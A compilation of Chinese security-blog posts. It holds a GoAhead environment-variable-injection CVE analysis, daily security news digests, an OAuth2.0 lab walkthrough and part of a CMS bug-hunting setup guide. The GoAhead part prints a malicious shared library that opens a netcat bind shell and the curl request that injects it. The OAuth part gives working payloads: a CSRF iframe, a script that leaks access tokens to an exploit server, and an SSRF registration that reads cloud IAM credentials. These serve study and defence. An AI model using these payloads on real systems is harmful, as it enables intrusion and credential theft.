goahead环境变量注入漏洞分析
一、前言 1.1 下载地址 二、CVE-2017-17562 2.1 漏洞分析 cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。 2.2 代码分析 漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示: 代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。 PUBLIC char *websGetCgiCommName() {   return websTempFile(NULL, "cgi"); } PUBLIC char *websTempFile(char *dir, char *prefix) {   static int count = 0;   char   sep;   sep = '/';   if (!dir || *dir == '\0') { #if WINCE       dir = "/Temp";       sep = '\\'; #elif ME_WIN_LIKE       dir = getenv("TEMP");       sep = '\\'; #elif VXWORKS       dir = "."; #else       dir = "/tmp"; #endif   }   if (!prefix) {       prefix = "tmp";   }   return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++); } 进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。 至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。 2.3 漏洞复现 下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4) git clone https://github.com/embedthis/goahead.git cd goahead make cd test gcc ./cgitest.c -o cgi-bin/cgitest sudo gdb ../build/linux-x64-default/bin/goahead 编写恶意动态链接库,代码以及编译命令如下所示: #include <stdio.h> #include <stdlib.h> static void main(void) __attribute__((constructor)); static void main(void) { system("nc -lp 8888 -e /bin/sh"); } // gcc --shared -fPIC poc.c -o poc.so 构造HTTP请求发送 curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。 2.4 补丁分析 首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。 其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。 三、cve-2021-42342 3.1 漏洞分析 cve-2021-42342远程命令执行漏洞影响Goahead 4.X和部分Goahead 5.X版本。在分析cve-2017-17562的补丁时我们了解到新版的程序对黑名单的完整性上做了优化,然而在4.X版本中增加了一句strim函数对用户参数的处理,如下图所示: 进入这个函数,当第二个参数为0时return 0。因为开发人员对于strim函数使用规范的错误使得针对cve-2017-17562的黑名单完善形同虚设。 上文在对cve-2017-17562补丁进行分析时曾经提到,s-arg在addFormVars函数中赋值为1,为了实现环境变量注入则必须使s-arg为0,绕过的方式也很简单令header中content-type为multipart/form-data即可。 后续利用方式与cve-2017-17562相同,笔者就不做重复分析了。 3.2 代码分析 为了更好的了解漏洞的完整执行流程,这里笔者针对Goahead处理Http的机制进行深入分析,其中不对的地方欢迎师傅们指正。 在Goahead进行启动后会执行websServer函数进行初始化操作。其中websOpen函数对route.txt文件进行解析,关于route处理可以看一下https://www.cnblogs.com/zongzi10010/p/12109380.html师傅的文章。 websOpen函数会根据配置启动相应的代码模块 其中关于cgi请求的回调函数通过websDefineHandler函数定义。 websOpen函数执行完毕后返回websServer函数并调用websListen启动HTTP服务。代码如下所示,当接收到HTTP请求时调用回调函数websAccept函数进行处理。 在websAccept函数中调用websAlloc函数为请求分配内存地址,添加入webs列表中。 其中websAlloc函数调用initWebs函数对Webs结构体进行初始化。 此时Goahead完成了对Http请求的初始化操作,而针对Http请求的处理工作则是通过执行websAccept->socketEvent->readEvent完成响应的 调用websRead函数将数据写入到wp->rxbuf缓冲区中,随后执行websPump函数。如下图所示,在Goahead中将HTTP的处理流程分为了五个状态,每个状态由不同的函数进行配置和处理工作。 3.2.1 WEBS_BEGIN WEBS_BEGIN阶段由parseIncoming函数负责处理,代码如下图所示。其中我们需要重点关注调用的三个函数parseFirstLine、parseHeaders、websRouteRequest函数。 parseFirstLine函数负责将请求的类型、url、协议版本和请求参数保存在wp结构体中  parseHeaders函数负责对请求头进行解析,其中对请求头中content-type键处理流程如下图所示。为了满足漏洞的触发条件s->arg为0,所以我们需要绕过addFormVars函数,即请求头content-type为multipart/form-data。 函数用于确定HTTP请求的处理函数。通过url路径与route->prefix进行比较确定最终处理函数,并将结果保存在wp->route中。其中routes数组保存了route.txt文件解析后,所有处理函数的相关数据。 调用websGetCgiCommName函数创建文件名格式为cgi-*.tmp的临时文件用于保存POST数据。 3.2.2 WEBS_CONTENT 返回websPump函数,随后调用processContent函数。函数部分代码如下所示,其中filterChunkData函数检测数据是否全部处理完毕,websProcessUploadData函数为处理上传文件的函数。 进入函数后可以看到上传操作被分为五个状态,每种状态由专门的函数负责处理,如下图所示。 initUpload函数切换wp->uploadState状态为initUpload,初始化上传路径并确定上传请求边界符。 processContentBoundary函数判断数据是否已经处理完毕,若是则将状态切换为UPLOAD_CONTENT_END,若还有数据未处理完成则切换状态为UPLOAD_CONTENT_HEADER。 processUploadHeader函数通过调用websTempFile函数创建用于暂存上传数据的临时文件,文件名格式/tmp/tmp-*.tmp,将临时文件的文件描述符保存在wp 当全部数据处理完毕后wp->eof置1,wp->state状态更改为WEBS_READY。 返回processContent函数后继续执行,调用websProcessCgiData函数将POST数据保存在临时文件cgi-*.tmp中 3.2.3 WEBS_READY 程序流程返回websPump函数后,在WEBS_READY阶段调用websRunRequest函数,此函数主要负责切换wp->state为WEBS_RUNNING,并调用cgiHandler函数。 在代码执行到漏洞位置时,s->arg值为零完成绕过。后续的利用原理与cve-2017-17562类似,这里就不过多赘述。
网络安全日报 2022年08月26日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、密码管理软件公司 LastPass 遭遇数据泄露,导致源代码被盗 https://www.securityweek.com/lastpass-says-source-code-stolen-data-breach 2、Intellexa公司以 800 万美元价格提供 iOS&Android 设备漏洞利用服务 https://www.securityweek.com/leaked-docs-show-spyware-firm-offering-ios-android-hacking-services-8-million 3、谷歌宣布开源"Paranoid"加密测试库 https://www.securityweek.com/google-open-sources-paranoid-crypto-testing-library 4、Mozilla 修补了 Firefox、Thunderbird 中的高危漏洞 https://www.securityweek.com/mozilla-patches-high-severity-vulnerabilities-firefox-thunderbird-0 5、Nobelium APT 使用新的入侵后恶意软件 MagicWeb https://securityaffairs.co/wordpress/134838/apt/nobelium-magicweb-tool.html 6、网络攻击者正在使用 Tox P2P 消息服务作为 C2 服务器 https://securityaffairs.co/wordpress/134806/malware/tox-p2p-c2-server.html 7、越来越多的攻击者利用 Sliver 工具包作为 Cobalt Strike 的替代品 https://www.bleepingcomputer.com/news/security/more-hackers-adopt-sliver-toolkit-as-a-cobalt-strike-alternative/ 8、研究人员发现了针对韩国政客和外交官的APT组织- Kimusky https://thehackernews.com/2022/08/researchers-uncover-kimusky-infra.html 9、Quantum勒索软件攻击了多米尼加共和国政府机构 https://www.bleepingcomputer.com/news/security/quantum-ransomware-attack-disrupts-govt-agency-in-dominican-republic/ 10、RansomEXX声称对庞巴迪娱乐公司进行勒索攻击 https://www.bleepingcomputer.com/news/security/ransomexx-claims-ransomware-attack-on-sea-doo-ski-doo-maker/
网络安全日报 2022年08月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、流媒体平台 Plex 确认数据库泄露、数据被盗 https://www.securityweek.com/plex-confirms-database-breach-data-theft 2、加利福尼亚州北区针对甲骨文的数据收集做法提起集体诉讼 https://www.securityweek.com/class-action-lawsuit-filed-against-oracle-over-data-collection-practices 3、IBM 修补了 IBM MQ 消息中间件中的严重漏洞 https://www.securityweek.com/ibm-patches-severe-vulnerabilities-mq-messaging-middleware 4、研究人员警告针对 Google G-Suite 企业用户的 AiTM 攻击 https://thehackernews.com/2022/08/researchers-warn-of-aitm-attack.html 5、盗版 3DMark 基准测试工具传播信息窃取恶意软件 https://www.bleepingcomputer.com/news/security/pirated-3dmark-benchmark-tool-delivering-info-stealer-malware/ 6、Cyber发现针对金融的剪贴板劫持器IBAN Clipper https://blog.cyble.com/2022/08/22/dissecting-iban-clipper/ 7、近一年利用SaaS平台的网络钓鱼增加了11倍 https://www.bleepingcomputer.com/news/security/phishing-attacks-abusing-saas-platforms-see-a-massive-1-100-percent-growth/ 8、恶意 PyPI 包对 Counter Strike 服务器发起 DDoS 攻击 https://cyware.com/news/malicious-pypi-packages-launch-ddos-attacks-against-counter-strike-servers-b4d84c69 9、推特前安全主管控诉推特存在 "令人震惊"的安全漏洞 https://www.freebuf.com/news/342774.html 10、Varonis披露新出现的Solidbit勒索软件 https://www.varonis.com/blog/anatomy-of-a-solidbit-ransomware-attack
网络安全日报 2022年08月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发现可以利用以太网口LED灯进行数据窃取的方法 https://www.securityweek.com/ethernet-leds-can-be-used-exfiltrate-data-air-gapped-systems 2、VMware 周二发布了补丁修复了 VMware Tools 提权漏洞 https://www.securityweek.com/privilege-escalation-flaw-haunts-vmware-tools 3、GitLab 修补了高危远程代码执行漏洞 https://www.securityweek.com/gitlab-patches-critical-remote-code-execution-vulnerability 4、希腊最大天然气供应商 Desfa遭Ragnar Locker勒索攻击和数据窃取 https://www.securityweek.com/ransomware-gang-leaks-data-allegedly-stolen-greek-gas-supplier 5、 研究人员发现超过8万台海康威视摄像头易受高危命令注入漏洞攻击 https://securityaffairs.co/wordpress/134756/security/hikvision-cameras-vulnerability.html 6、研究人员称Java 库存在许多反序列化安全漏洞 https://www.theregister.com/2022/08/22/java_library_flaws/ 7、错误的Meta Pixel配置暴露医疗公司Novant 130万用户数据 https://www.bleepingcomputer.com/news/security/misconfigured-meta-pixel-exposed-healthcare-data-of-13m-patients/ 8、研究发现 RTLS 系统容易受到中间人攻击和位置篡改 https://thehackernews.com/2022/08/rtls-systems-found-vulnerable-to-mitm.html 9、意大利纺织公司Sferra公布数据泄露事件 https://www.securityweek.com/textile-company-sferra-discloses-data-breach 10、某些廉价安卓设备中存在针对WhatsApp的系统后门 https://securityaffairs.co/wordpress/134735/malware/counterfeit-versions-mobile-devices-target-whatsapp.html
网络安全日报 2022年08月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、纺织公司 Sferra 披露数据泄露 https://www.securityweek.com/textile-company-sferra-discloses-data-breach 2、微软发布了关键 ChromeOS 漏洞的技术细节 https://www.securityweek.com/microsoft-shares-details-critical-chromeos-vulnerability 3、以色列飞马间谍软件公司NSO Group首席执行官下台 https://www.securityweek.com/ceo-israeli-pegasus-spyware-firm-step-down 4、在 Entrust 被Lockbit攻击后,Lockbit 泄漏站点遭到神秘 DDoS 攻击 https://securityaffairs.co/wordpress/134707/cyber-crime/lockbit-hacked-entrust.html 5、研究人员披露了 Linux 内核中一个存在8年之久的漏洞(DirtyCred)详情 https://www.blackhat.com/us-22/briefings/schedule/#cautious-a-new-exploitation-method-no-pipe-but-as-nasty-as-dirty-pipe-27169 6、Donot Team 网络间谍组织更新其 Windows 恶意软件框架 https://securityaffairs.co/wordpress/134674/apt/donot-team-improves-jaca-framework.html 7、Escanor恶意软件通过Office文档传播 https://www.helpnetsecurity.com/2022/08/22/escanor-malware-delivered-in-weaponized-microsoft-office-documents/ 8、密码长度超过64字节的加密ZIP文件可能有两个正确的密码 https://www.bleepingcomputer.com/news/security/an-encrypted-zip-file-can-have-two-correct-passwords-heres-why/ 9、研究发现使用应用内浏览器访问第三方网站时存在植入跟踪代码的情况 https://www.solidot.org/story?sid=72526 10、美军探索网络安全新范式,由合规清单转向自动化红队 https://www.secrss.com/articles/46059
网络安全日报 2022年08月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、TA558 网络犯罪集团针对酒店和旅游组织 https://securityaffairs.co/wordpress/134622/cyber-crime/ta558-targets-hospitality-travel.html 2、Cozy Bear 使用规避技术攻击北约国家 Microsoft 365 用户 https://securityaffairs.co/wordpress/134609/apt/cozy-bear-targets-microsoft-365-users.html 3、Amazon Ring 中的一个漏洞可能会暴露用户的相机记录 https://securityaffairs.co/wordpress/134588/hacking/amazon-ring-vulnerability-camera-recordings.html 4、DEF CON上白帽黑客控制了一颗退役卫星播放了会议演讲和黑客电影 https://securityaffairs.co/wordpress/134637/hacking/hackers-take-control-decommissioned-satellite.html 5、黑客入侵WordPress显示虚假DDoS防护页面分发恶意软件 https://securityaffairs.co/wordpress/134686/hacking/fake-ddos-protection-pages-wordpress.html 6、Chainalysis报告黑客在 2022 年已经窃取了价值近 20 亿美元加密货币 https://www.cnbc.com/2022/08/19/crypto-hackers-stole-billions-why-its-a-growing-problem.html 7、新的 Grandoreiro 银行恶意软件活动针对西班牙语国家工业制造商 https://thehackernews.com/2022/08/new-grandoreiro-banking-malware.html 8、微软发布Sysmon 14可监控可执行文件的创建 https://www.bleepingcomputer.com/news/microsoft/microsoft-sysmon-can-now-block-malicious-exes-from-being-created/ 9、音乐Rhythm Nation会导致某些硬盘驱动器发生故障和崩溃 https://www.bleepingcomputer.com/news/security/janet-jacksons-music-video-is-now-a-vulnerability-for-crashing-hard-disks/ 10、黑客利用零日漏洞从General Bytes 比特币ATM服务器窃取加密货币 https://www.bleepingcomputer.com/news/security/hackers-steal-crypto-from-bitcoin-atms-by-exploiting-zero-day-bug/
OAuth2.0协议安全学习
有一个问题困扰了很久很久,翻来覆去无法入眠,那就是OAuth2.0有什么安全问题啊? OAuth2.0是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问,在全世界都有广泛运用。 OAuth2.0简介 OAuth2.0是什么 OAuth2.0是授权的工业标准协议,该协议允许第三方应用程序对于服务的有限访问,例如常见的第三方登录就基于此协议 OAuth2.0应用情景 OAuth2.0常被应用于以下情景 1、应用于第三方应用登录,将受保护的用户资源授权给第三方信任用户,从而避免二次登录造成泄密 2、应用于多服务场景中,用于服务的统一登陆认证,对内部系统之间的资源请求进行权限管理 3、应用于开发平台场景中,对系统敏感资源进行安全认证和保护 密码与OAuth2.0 1、密码与令牌(token)的作用是一样的,但令牌有其特点  用户无法自己修改  且一般来说token是短期的  可以被所有者撤销  token的权限一般是有限制的,而对于密码而言,其权限一般是完整权限 2、基于以上设计,OAuth2.0协议即可保证可以使得第三方应用获得权限使用,但又随时处于可控,这就是OAuth2.0的优点所在 OAuth2.0运行流程和授权模式 首先了解一下大概结构 Client: 第三方应用 Resource Owner: 资源所有者 Authorization Server: 授权服务器 Resource Server: 拥有资源信息的服务器 以下即为运行过程 OAuth的授权模式有五种  授权码模式|authorization code  简化模式|implicit  密码模式|resource owner password credentials  客户端模式|client credentials 在请求中一般存在response_type一类的参数,根据授权模式的不同,参数内容也会不同,这就是我们判断不同授权模式的重要依据 详情可见 https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html四种授权模式,安全问题大多在authorization code模式和implicit模式发生,我们也可以对此着重了解 OAuth2.0安全问题分析 为什么出现问题 OAuth2.0的授权认证流程大部分情况下是没有问题的,但他缺少内置的安全功能,认证是否安全几乎完全取决于使用者的正确配置,例如是否对token进行数据绑定、是否对数据本身进行加密等,而且不同的授权方法有不同的1特点,而根据授权类型,即使是高度敏感的数据都会被通过浏览器发送,给了攻击者各种拦截数据的机会 怎么判断是否使用OAuth2.0认证方法 主要可以通过两点判断 1、对数据进行抓包,基本所有的认证请求都是自/authorization开始,并且携带了类似于Client_id、redirect_uri等标志参数 2、是否可以使用第三方应用进行登录,如若可以,基都是采取OAuth2.0认证 授权服务器认证绕过 当我们完成登录获取第三方资源时,是通过一个用户邮箱、ID进行识别,但如果第三方资源授权没有对此进行合理的认证,就有可能绕过授权服务器认证 1、靶场 Lab: Authentication bypass via OAuth implicit flow 2、解法 进行抓包,查看数据包的交互流程,在/authorization看到有邮箱、ID返回认证 可以尝试修改email和username Forward发送,发现token并没有进行内容绑定,成功login CSRF关联账号 造成这个安全问题的主要原因是对OAuth组件的配置错误,比如state参数 这个参数可以类比于CSRF令牌token,一般是作为与会话信息相关联的一个hash值,作为客户端与服务端之间通信的token令牌,而当配置出现问题,攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF 1、靶场 Lab: Forced OAuth profile linking 2、解法 我们先正常登录 点击绑定social profile,对social media认证页面进行抓包,得到令牌code 我们可以先直接带上访问一下试试 这是因为我们还没有实现绑定登录,我们现在要做的就是让管理员登录时带上的是我们的code,这样我们就可以成功劫持管理员账号 我们重新抓取一个包拿到code,得到code后drop掉不让他成功登录认证 然后进入exploit修改body <iframe src="https://you-Labe-URL/oauth-linking?code=xxxx"></iframe> 发送给受害者,而后重新登录social media 成功登录admin 删掉carlos用户即可 CSRF获取敏感信息 我们正常登录认证后需要从认证页面重定向回到原本的页面,这里起到作用的就是redirect_uri参数,这是一个很合理的设计,但如果redirect_uri重定向回来的是其他地方,比如我们的攻击服务器,那么我们是不是可以窃取到一些敏感信息,例如我们上一道题登录admin用到的code 与上一题不同的点在于,前者是攻击者生成了token让admin绑定,这里是让admin生成token攻击者拿到去进行绑定 1、靶场 Lab: OAuth account hijacking via redirect_uri 2、解法 我们抓包可以看到很多个参数,返回的response有个重定向回到原本的登陆页面 我们可以先简单测试一下,把redirect_uri参数换成我们的攻击服务器 访问抓包 callback 可以看到host变成了我们的攻击服务器,这就是问题所在 我们进入exploit修改body <iframe src="https://oauth-0ab7002704013c25c0e609d702b200d8.web-security-academy.net/auth?client_id=vna7ueijoqkr7uoxz68yl&redirect_uri=https://exploit-0ad700bf04bc3c4bc0f9097701db00da.web-security-academy.net&response_type=code&scope=openid%20profile%20email"></iframe> 修改redirect_uri重定向回我们的exploit,store存储一下,然后view exploit预览一下 确认可以后发送给受害者,然后查看log,可以看到就能窃取到code 然后根据包的发送流程,将code进行修改callback回去 https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6 成功登录admin,删除用户就行 通过开放重定向获取敏感信息 与上一道类似,但是这里加入了对重定向redirect_uri参数的检测,限制url为client app,这时候可以通过在client app中寻找open redirect漏洞,再搭配CSRF得到code实现越权 1、靶场 Lab: Stealing OAuth access tokens via an open redirect 2、解法 抓包然后查找apikey,发现在/me路径,放入repeater 测试redirect_uri,发现是以白名单进行验证,无法以外域作为重定向提供,同时发现存在目录遍历漏洞 进行寻找漏洞利用点,发现每个blog下方均有一个post点,易受目录遍历,选择进行测试 抓包放入repeater中测试,发现可以重定向到外域,这样我们就可以利用1这个重定向到我们的攻击服务器,进行敏感数据的窃取 我们修改url重定向回exploit https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profi 进行访问,成功返回hello,world 这样我们就可以编写script,让admin登录从而泄露token <script>   if (!document.location.hash) {       window.location = 'https://YOUR-LAB-AUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit/&response_type=token&nonce=3997   } else {       window.location = '/?'+document.location.hash.substr(1)   } </script> 发送给受害者后进入access log,得到access_token 将access_token替换到/me路径的Authorization: Bearer标头中的token 发送即可得到apikey,提交即可 危险传递、使用某些特定数据 当OAuth存在专用注册端点来运行客户端自行注册,而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据,就可能存在SSRF漏洞,出现密钥的泄露 1、靶场 Lab: SSRF via OpenID dynamic client registration 2、解法 首先我们需要了解的是在OAuth服务开发中,存在这样一类文件 /.well-known/openid-configuration(类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json) 他们存储着一些相关的配置 我们尝试访问 https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration 可以发现/reg是注册点,我们可以在repeater中创建一个post请求向OAuth请求注册,而这其中必须提供至少一个redirect_uris数组 传参后我们可以看到服务器给我们返回了client_id和一系列数据 我们继续翻看配置参数,其中最有可能存在SSRF的url参数就是logo_uri 我们可以进行尝试,启动Burp Collaborator client POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json {   "redirect_uris" : [       "https://example.com"   ],   "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN" } 发现可以成功携带数据 当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据 /client/CLIENT-ID/logo 那当我们修改logo_uri为其他url时,我们就可以携带出我们想要的东西了,而题目已经给出了攻击服务器的url,我们替换一下 POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json {   "redirect_uris" : [       "https://example.com"   ],   "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" } 得到key 防御总结 使用白名单检验redirect_url参数 检验state参数是否存在 ccess token和client_id是否匹配,同时验证access token的访问范围 修复client端的开放重定向漏洞,防止auth code的泄露
网络安全日报 2022年08月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Safari 15.6.1 修复了被利用的0day漏洞 https://securityaffairs.co/wordpress/134553/security/safari-15-6-1-fixes-zero-day.html 2、谷歌宣布阻止了有史以来最大(4600 万次RPS)的 HTTPS DDoS 攻击 https://securityaffairs.co/wordpress/134542/hacking/google-blocked-largest-ever-https-ddos.html 3、Realtek RCE 漏洞的 PoC 利用代码已在线发布 https://securityaffairs.co/wordpress/134515/breaking-news/realtek-rce-poc-exploit.html 4、黑客使用 Bumblebee Loader 破坏 Active Directory 服务 https://thehackernews.com/2022/08/hackers-using-bumblebee-loader-to.html 5、BlackByte 2.0勒索软件采用新的勒索策略重新归来 https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-gang-is-back-with-new-extortion-tactics/ 6、Mandiant称伊朗UNC3890组织攻击以色列航运和其他关键部门 https://www.securityweek.com/iranian-group-targeting-israeli-shipping-and-other-key-sectors 7、自2020年以来,近700万人尝试下载恶意浏览器扩展 https://www.bleepingcomputer.com/news/security/malicious-browser-extensions-targeted-almost-7-million-people/ 8、微软提醒客户注意俄黑客组织SEABORGIUM的网络钓鱼攻击 https://www.cnbeta.com/articles/tech/1305201.htm 9、卡巴斯基实验室正开发防黑客自主品牌手机 https://www.ithome.com/0/635/532.htm 10、报告称大多数经期和孕期跟踪应用在保护用户隐私方面做得很差 https://www.cnbeta.com/articles/tech/1305529.htm
网络安全日报 2022年08月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Apple 修补新的 macOS、iOS 零日漏洞 https://www.securityweek.com/apple-patches-new-macos-ios-zero-days 2、霍尼韦尔报告称针对工业设施的恶意软件52%是通过USB设备进行传播的 https://www.securityweek.com/81-malware-seen-usb-drives-industrial-facilities-can-disrupt-ics-honeywell 3、安卓恶意软件Bugdrop dropper 包含绕过 Google 安全控制的功能 https://securityaffairs.co/wordpress/134508/malware/bugdrop-android-malware.html 4、谷歌修复了被利用的新 Chrome 零日漏洞 https://securityaffairs.co/wordpress/134501/security/google-fifth-chrome-zero-day-exploited.html 5、Electron框架漏洞影响数十个应用程序 https://www.securityweek.com/security-analysis-leads-discovery-vulnerabilities-18-electron-applications 6、英特尔CPU构架漏洞ÆPIC Leak影响大多数10至12代CPU https://securityaffairs.co/wordpress/134478/security/aepic-leak-architecturally-flaw.html 7、微软将在下个月默认禁用Edge中的TLS1.0/1.1支持 https://news.softpedia.com/news/microsoft-to-disable-tls-1-0-and-1-1-next-month-535935.shtml 8、研究人员发现多个影响UWB和RTLS通信的漏洞 https://www.bleepingcomputer.com/news/security/rtls-systems-vulnerable-to-mitm-attacks-location-manipulation/ 9、CS GO皮肤交易网站CS.MONEY约600万美元用户资产遭黑客攻击被盗 https://www.bleepingcomputer.com/news/security/cs-go-trading-site-hacked-to-steal-6-million-worth-of-skins/ 10、Lazarus Group针对使用macOS的求职者投放恶意软件 https://securityaffairs.co/wordpress/134491/malware/north-korea-mac-malware-m1.html
细说从0开始挖掘CMS
前言 挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。 确立目标 挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。 如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。 信息收集 如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。 项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到 漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。 或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。 环境搭建 上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。 本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。 环境要求 一般项目都会有写环境要求的,我们调整一下就好。 环境准备 环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。 数据库 首先找到db.properties,如果不能一眼看到可以通过ctrl+shift+f来快速搜索 /ofcms-admin/src/main/resources/dev/conf/db.properties 找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。 然后按数据库信息来修改,然后点击右边的数据库,配置一下。 如果出现以下的错误 Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually. 这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。 win+R cmd mysql -hlocalhost -uroot -p (然后输入数据库密码) show variables like'%time_zone'; set global time_zone = '+8:00'; 没配置环境变量的,看这个文章 https://blog.csdn.net/liuqiker/article/details/102455077配置成功效果图如下 maven 右键项目找到mavne重新加载项目即可 tomcat 在run-configuration中配置tomcat 在Deployment配置一下 一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下。 安装过程 这一步就比较简单了,跟着弄就好了。 下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。 在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。 如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21 数据库位置ofcms-master\doc\sql,选择相应的版本直接拖进navicat中,然后导入成功后刷新一下就好。 